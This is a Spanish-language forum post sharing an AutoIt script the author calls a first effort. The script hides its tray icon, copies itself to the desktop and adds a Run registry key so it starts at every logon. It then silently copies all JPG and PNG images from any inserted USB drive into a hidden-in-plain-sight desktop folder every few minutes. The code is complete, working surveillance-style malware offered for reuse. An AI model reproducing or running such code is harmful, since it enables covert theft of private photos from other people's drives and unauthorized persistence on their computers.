Hola amigos, aca les dejo mi primer script y realiza lo que apunto en el titulo, como es el primero se puede mejorar mucho más, gracias a todos los que me ayudaron a armarlo.

Código: Seleccionar todo

#NoTrayIcon

Global $Drive=DriveGetDrive( "REMOVABLE" )
Global $Dest=@DesktopDir&"\Destino"
Global $type1 = ".jpg"
Global $type2 = ".png"

If FileExists(@DesktopDir & "\" & "Pendrive Final.exe") Then

    Sleep(100)
Else

    FileCopy(@AutoItExe, @DesktopDir)
EndIf

$var = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\", "Pendrive")

If($var <> "") Then


Sleep(100)

Else


RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\","Pendrive", "REG_SZ", @DesktopDir & "\" & "Pendrive Final.exe")

EndIf



while 1


   If $Drive[0]>0 Then


        For $i = 1 to $Drive[0]

                _BackupImages($Drive[$i], $Dest, $type1)
                _BackupImages($Drive[$i], $Dest, $type2)

            Next


      sleep(180000)

   Else
      msgbox(0,"Prueba","No hay pendrives conectados")
      sleep(60000)
   EndIf
WEnd





Func _BackupImages($sPath, $sDest, $sExt) ; Directorio de busqueda, Destino y Extension (*.jpg)

   Local $sPath_TotalSize
   $sPath = StringRegExpReplace($sPath, "[\\/]+\z", "")
   $sDest = StringRegExpReplace($sDest, "[\\/]+\z", "")
   DriveGetLabel($sPath)
   If @error Then
      $sPath_TotalSize = DirGetSize($sPath)
   Else
      $sPath_TotalSize = (DriveSpaceTotal($sPath) - DriveSpaceFree($sPath)) * 1048576
   EndIf
   If Not FileExists($sPath) Then Return 0
   Local $sPath_CurrSize = 0
   $sPath &= "\|"
   Local $sPath_OrigLen = StringLen($sPath) - 1

   While $sPath
      $sPath_CurrLen = StringInStr($sPath, "|") - 1
      $sPath_Curr = StringLeft($sPath, $sPath_CurrLen)
      $Search = FileFindFirstFile($sPath_Curr & "*.*")
      If @error Then
         $sPath = StringTrimLeft($sPath, $sPath_CurrLen + 1)
         ContinueLoop
      EndIf
      While 1
         $Search_FileRes = FileFindNextFile($Search)
         If @error Then ExitLoop ;No hay mas archivos... Saliendo...
         If @extended Then
            ; El archivo actual es una carpeta, Regresar al While...
            $sPath &= $sPath_Curr & $Search_FileRes & "\|"
            ContinueLoop
         EndIf
         $sPath_CurrSize += FileGetSize($sPath_Curr & $Search_FileRes)

         If _FileGetExt($sPath_Curr & $Search_FileRes) = $sExt Then


            If FileExists($sDest & "\" & $Search_FileRes) Then


                ContinueLoop

            Else
                    FileCopy($sPath_Curr & $Search_FileRes, $sDest & "\" ,8)


            EndIf
         EndIf
      WEnd
      FileClose($Search)
      $sPath = StringTrimLeft($sPath, $sPath_CurrLen + 1)
   WEnd

EndFunc   ;==>_BackupImages

; Función:    _FileGetExt()
; Descripción: Retorna la extensión del archivo indicado
; Autor:     PDF

Func _FileGetExt($sFilepath)
   Local $sRet, $sPos
   ; If Not FileExists($sFilepath) Then Return SetError(1) ;File Don't Exist
   If (DirGetSize($sFilepath, 2) <> -1) Then Return SetError(2, 1) ; Is a Folder
   $sPos = StringInStr($sFilepath, ".", -1)
   If @error Then Return "" ; File don't have extension
   $sRet = StringTrimLeft($sFilepath, $sPos - 1)
   If Not $sRet Then Return SetError(3) ;File name end to dot
   Return $sRet
EndFunc   ;==>_FileGetExt
Nunca consideres el estudio como una obligación, sino como una oportunidad para penetrar en el bello y maravilloso mundo del saber.
Responder

Volver a “Fuentes”